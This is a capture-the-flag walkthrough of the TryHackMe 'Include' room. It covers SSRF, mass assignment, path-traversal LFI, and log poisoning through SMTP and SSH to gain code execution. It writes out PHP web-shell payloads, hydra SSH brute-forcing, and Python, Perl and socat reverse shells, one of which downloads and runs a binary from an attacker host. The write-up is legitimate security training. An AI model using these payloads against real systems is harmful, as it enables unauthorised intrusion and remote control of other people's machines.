
In this article, I will provide a comprehensive walkthrough of the TryHackMe room "Include", where we will explore common web application vulnerabilities such as Server-Side Request Forgery (SSRF), log poisoning and LFI2RCE (Local File Inclusion to Remote Code Execution). Additionally, I will be explaining basic concepts that are vital to understanding how the exploits work, and also discuss other methods for initial access, and post exploitation.
Initial enumeration
In this step, we aim to discover open ports/services on the web server. The following shows how we can do it with nmap:
$ nmap -sS -n -Pn -v <target>nmap (general overview) | Penetration testing & ethical hacking conceptsjarrettgxz-sec.gitbook.io
nmap | Penetration testing & ethical hacking conceptsjarrettgxz-sec.gitbook.io
The following displays the output from the scan:
As we can see, there are multiple ports open, which is really exciting for us 🤤.
The first service that I would like to find would be HTTP, which relates to a web application. Since the common HTTP(S) ports (80 and 443) are not open, we have to enumerate through each of the found ports to find the one that serves the content.
We can manually visit each port from the browser. However, some security-enhanced ones such as Firefox may block non-standard ports. Alternatively, we can use the curl tool to test it too:
$ curl http://<target>:<port>Ports 4000 and 50000 are found to return valid HTTP content (headers and body), this indicates that a web application is present.
Express app (port 4000)
Upon visiting the page, we are presented with a login page with a note to sign in as guest:guest.
Enumeration
I opened Burp suite, and configured my browser to route traffic through the Burp proxy.
From inspection of the network requests, I discovered that the server uses Express via the X-Powered-By response headers. Express is a Node.js web framework used to develop web server applications (https://expressjs.com/).
Running a simple directory enumeration on port 4000 with gobuster , using the wordlist
$ gobuster dir -u http://<target>:4000 -w <wordlist>From the enumeration results, the one that stands out is the /signup route. I visited the address in the browser, and was faced with the following error:
From this error message, we can learn of a few things:
a) The application uses a certain type of server-side rendered templating engine stored under the views folder
- Eg. Common Node.js engines includes:
.ejs,.pug, etc.
b) The root directory of the web application is /home/ubuntu/include
- The application is ran as the user
ubuntu
Moving on, I logged into the application using the guest:guest credentials found earlier. I was presented with a page displaying my profile, along with a few of my friends. Navigating to my profile, I was able to view my current details, along with a form to "Recommend an Activity":
Upon entering the values test and test to the fields, a new entry appeared on the profile details:
This presents an interesting vulnerability, since we are able to directly manipulate the profile details. The following displays the HTTP POST request:
POST /recommend-activity/1 HTTP/1.1
Host: xxx.xxx.xxx.xxx:4000
User-Agent: xxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://xxx.xxx.xxx.xxx:4000
Connection: keep-alive
Referer: http://xxx.xxx.xxx.xxx:4000/friend/1
Cookie: connect.sid=xxxx
Upgrade-Insecure-Requests: 1
Priority: u=0, i
activityType=test&activityName=testI sent the request to the Burp Repeater, and attempted a prototype pollution attack with the following payloads for activityType , withactivityName set to true :
proto.pollutedconstructor.prototype.polluted__proto__['polluted']__proto__.constructor.prototype.polluted['__proto__'].polluted['__proto__']['pollluted']constructor['prototype'].pollutedconstructor['prototype']['polluted']['constructor']['prototype'].pollute['constructor']['prototype']['polluted']
However, none of the payloads worked. Instead, I attempted to directly change the isAdmin field to true , but ended up changing the value to the literal string "true" . To get around this, I changed the content-type to application/json and tried the same request with the following payload
{
"activityType":"isAdmin",
"activityName": true
}With this, we are now an admin. Upon navigating to the profile page, I noticed 2 more options on the navigation bar: "API" and "Settings"
Additional findings
The POST /signin route can be changed to /signup to create a new user:
/signin
POST /signup HTTP/1.1
Host: xxx.xxx.xxx.xxx:4000
User-Agent: xxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://xxx.xxx.xxx.xxx:4000
Connection: keep-alive
Referer: http://xxx.xxx.xxx.xxx/signin
Cookie: connect.sid=xxxx
Upgrade-Insecure-Requests: 1
Priority: u=0, i
name=newuser&password=newpassThis request creates a new user with the username and password of newuser and newpass respectively.
SSRF vulnerability
On the /admin/api page ("API" from dashboard), there appears to be admin instructions for us to retrieve sensitive credentials:
While on the /admin/settings page ("Settings" from dashboard), there appears to be a form for us to enter a URL. This hints us to change the URL to the localhost addresses given to us from the API page. From there, we will be able to retrieve a base64 encoded string of the sensitive content. We can use the terminal to decode the base64 encoded string:
$ echo <base64_string> | base64 -dThis simple example demonstrates a Server-Side Request Forgery (SSRF) vulnerability, where we are able to manipulate requests made on the server-side to internal addresses, to upload/retrieve information that we are otherwise not allowed to.
Login with found credentials
We can login with the found credentials from the previous steps, where we will retrieve our first flag! (redacted)
Enumeration
We can perform a simple directory enumeration using the wordlist, with authentication details set via the cookie:
- Notice that the
-x phpoption is added to the command - The authentication details will be set via the
-H "Cookie: PHPSESSID=xxx"value. The PHPSESSID value can be found from the network inspection of the initial GET request to load the webpage.
$ gobuster dir -u http://<target>:50000 -w <wordlist> -x php -H "Cookie: PHPSESSID=xxx"I decided to visit a few interesting looking routes:
uploads
A single file profile.png exists. Perhaps, we can somehow find a way to upload a web shell?
templates
There were nothing of interest in this directory.
The other routes will be ignored due to the having no content (size: 0) or forbidden.
LFI + path traversal
From inspection of the network requests, I found a request that loads the profile image using a query parameter to specify the path to the file:
GET /profile.php?img=profile.png HTTP/1.1
Host: xxx.xxx.xxx.xxx:50000
User-Agent: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: connect.sid=xxxx
Upgrade-Insecure-Requests: 1
Priority: u=0, iAs found previously, the profile.png is present in the /uploads directory. Thus, it appears that the img query input will be used to search for a file in that directory.
Possible path: /var/www/html/uploads/profile.png.
Simple payloads
With knowledge of the current directory, I started off with simple payloads:
Path traversal
../../../../etc/passwd%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd(URL encoded)..//..//..//..//etc/passwd%2E%2E%2F%2F%2E%2E%2F%2F%2E%2E%2F%2F%2E%2E%2F%2Fetc%2Fpasswd(URL encoded)
Remote public resource
The payloads shown above does not work.
Brute force discovery
I performed a brute force attack using ffuf, with the wordlist:
- Cookie:
-H "Cookie: PHPSESSID=xxxx" - Filter out empty responses:
--fs 0
$ ffuf -w /<wordlist> -u http://<target>:50000/profile.php?img=FUZZ -H "Cookie: PHPSESSID=xxxx" --fs 0The payload: ....//....//....//....//....//....//....//....//....//etc/passwd was found to work:
This provides us the following information:
- Usernames:
joshua,charles
2. More importantly, the server is vulnerable to a Local File Inclusion (LFI) vulnerability!
Exploring methods of exploitation
PayloadsAllTheThings/File Inclusion/LFI-to-RCE.md at master · swisskyrepo/PayloadsAllTheThingsGitHub
Following the guide in the link above, I explored a few methods to gain RCE on the system. From the previous enumeration steps, we have found multiple open ports/services, where some of them will provide use means to escalate the LFI to RCE.
Log poisoning
I tried accessing the following log files (replace /etc/passwd in the found payload above):
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/sshd.log
/var/log/mail
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log1. SMTP (port 25)
/var/log/syslog
From enumeration of the SMTP commands, I found a few that will directly log user inputs into the log file:
1. RCPT TO:<input> # requires MAIL TO:<addr> before
2. VRFY <input>With this in mind, we can exploit itto achieve RCE. Let's use the VRFY command:
VRFY <?php system($_GET['cmd']); ?>Now, reading the /var/log/syslog via the LFI vulnerability, we are able to view the output of our command that will be executed on the vulnerable machine. With that, we have a gained a web shell. The output can be viewed with the command:
$ curl 'http://xxx.xxx.xxx.xxx:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/syslog&cmd=<command>' -H "Cookie: PHPSESSID=xxxx" --silent | tail -n 20The following command allows us to read the last 20 lines of the log file. Remember to replace <command> with the actual command, and set the PHPSESSID.
We can now replace the command to look around the directory and view the contents of the text file to retrieve our final flag! (redacted)
2. SSH (port 22)
/var/log/auth.log
We can also use the SSH service on port 22 for the log poisoning attack.
Username
I attempted to send a payload via the username field to SSH:
$ ssh '<?php system('id'); ?>'@<host>However, the SSH client does not allow special characters in the username.
Identification string
I explored another method to poison the logs via the identification string:
$ nc <host> 22
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
<?php system($_GET['cmd']); ?> # click enter right afterThis method works to provide with use with RCE.
Interesting discovery
With the img payload value of # (/profile.php?img=#), we are presented with a status 400 response:
Further learning
In this section, I will outline further discoveries I have made while digging deeper into this machine.
Brute forcing SSH password
As we have seen previously, there are 2 users that stands out in the /etc/passwd file: joshua and charles. I attempted a password brute force attack on their SSH login with the wordlist from Metasploit /usr/share/wordlists/metasploit/unix_passwords.txt :
$ hydra -l joshua -P <wordlist> -t 6 ssh://<host>
$ hydra -l charles -P <wordlist> -t 6 ssh://<host>I found the password 123456 for both usernames joshua and charles. We can now SSH with the usernames and gain a remote shell:
$ ssh <user>@<host>Gaining remote shell using the LFI2RCE exploit
I explored methods to gain a remote shell on the machine using the LFI2RCE exploit we have found earlier. The following methods can be used (with the VRFY or RCPT TO: command with SMTP explored before) to run remote commands to establish the shell.
The link below contains all the reverse shell payload we will be using:
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheetpentestmonkey.net
For each of the methods, we need to start a TCP listener on a certain port to catch the shell:
Start the TCP shell listener on a port
$ nc -lvp <port>1. PHP shell
a. Download the PHP shell from the link above, and load the content into a file such as shell.php (remember to update the host and port values):
- Start a web server from the same directory as the shell
Python3 web server
$ python3 -m http.server <port>b. Include the address of the web server to load the PHP shell (using RCE we have found earlier):
<?php include('http://<host>:<port>/shell.php'); ?>2. Python shell
a. Identify if Python is available
<?php system('python --version'); ?>b. If available, we can invoke a Python reverse shell:
- Replace the
<host>and<port>with the appropriate values
<?php system("python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<host>',<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);\""); ?>3. Perl shell
a. Identify if Perl is available:
<?php system('perl --version'); ?>b. If available, we can invoke a Perl shell:
- Replace the
<host>and<port>with the appropriate values
<?php system('perl -e \'use Socket;$i="<host>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''); ?4. Socat stable shell
a. Check if Socat is available. However, chances are that it will not be available. We can install the Socat binary and host it from a web server on our machine, and have the target retrieve it.
First, download the Socat binary and host it from the local machine:
$ https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true
$ python3 -m http.server <port>Next, we can send the payload to the target:
<?php system('curl http://xxx.xxx.xxx.xxx:8000/socat --output /tmp/socat && chmod +x /tmp/socat && /tmp/socat TCP:10.4.10.179:8002 EXEC:"bash -li",pty,stderr,sigint,setsid,sane'); ?>In this payload, a few things are happening:
- Retrieve the Socat binary and save it to a temporary directory
/tmp/socat - Add execute permission on the binary
- Invoke a Socat reverse shell from the target to our machine
- Note that this shell is considered to be more stable as compared to the other options discussed before
With this, we have came to the end of the article. I hope you have learnt something valuable and meaningful. Feel free to contact me at jarrettgxz.sec@gmail.com for any feedback!